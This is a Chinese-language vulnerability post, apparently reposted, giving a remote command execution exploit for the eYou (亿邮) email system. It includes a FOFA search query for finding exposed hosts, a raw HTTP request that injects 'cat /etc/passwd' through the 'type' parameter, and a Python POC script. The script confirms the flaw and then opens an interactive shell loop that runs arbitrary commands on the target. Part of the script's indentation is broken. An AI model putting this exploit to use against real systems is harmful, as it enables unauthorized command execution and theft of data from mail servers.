亿邮电子邮件系统 远程命令执行漏洞【附POC】

漏洞概述

亿邮电子邮件系统 存在远程命令执行漏洞,攻击者可以执行任意命令

影响版本

亿邮电子邮件系统

FOFA

body="亿邮电子邮件系统"

漏洞复现

复现的时候,通过fofa智能查看五页内容,这里使用的谷歌语法。

亿邮电子邮件系统 远程命令执行漏洞【附POC】_第1张图片
其他的语法也可以。

登录页面:
亿邮电子邮件系统 远程命令执行漏洞【附POC】_第2张图片
直接抓包,构造数据包:

POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 39
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

type='|cat /etc/passwd||'

抓到的数据包如下:
亿邮电子邮件系统 远程命令执行漏洞【附POC】_第3张图片
构造数据包:
亿邮电子邮件系统 远程命令执行漏洞【附POC】_第4张图片
复现的时候试了很多网站。G

POC

#   @Author:ximo
#   亿邮电子邮件系统 RCE

import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import time

def title():
    print('+------------------------------------------')
    print('+-------------亿邮电子邮件系统 RCE------------')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + '/webadm/?q=moni_detail.do&action=gragh'
    headers = {
     
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data= "type='|cat /etc/passwd||'"
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response1 = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
        if response1.status_code == 200 and 'root:x:0:0' in response1.text:
            print('目标{}可能存在漏洞,正在执行 cat /etc/passwd'.format(target_url))
            time.sleep(3)
            result = re.findall(r'(.*)',response1.text,re.S)[0]
print(result)
while 1:
cmd = input('输入想要执行的命令,输入exit退出\nCmd>>>')
if cmd == 'exit':
break
else:
POC_2(target_url, cmd)
else:
print('目标{}不存在漏洞'.format(target_url))
except Exception as e:
print('请求失败')
def POC_2(target_url, cmd):
vuln_url = target_url + '/webadm/?q=moni_detail.do&action=gragh'
headers = {

"Content-Type": "application/x-www-form-urlencoded"
}
data = "type='|{}||'".format(cmd)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response1 = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
result = re.findall(r'(.*)', response1.text, re.S)[0]
print(result)
except Exception as e:
print('命令执行失败')
if __name__ == '__main__':
title()
target_url = str(input("\033[35m请输入url\nUrl >>> \033[0m"))
POC_1(target_url)

参考链接:亿邮电子邮件系统 远程命令执行漏洞

你可能感兴趣的:(漏洞复现,漏洞复现,安全漏洞,hvv)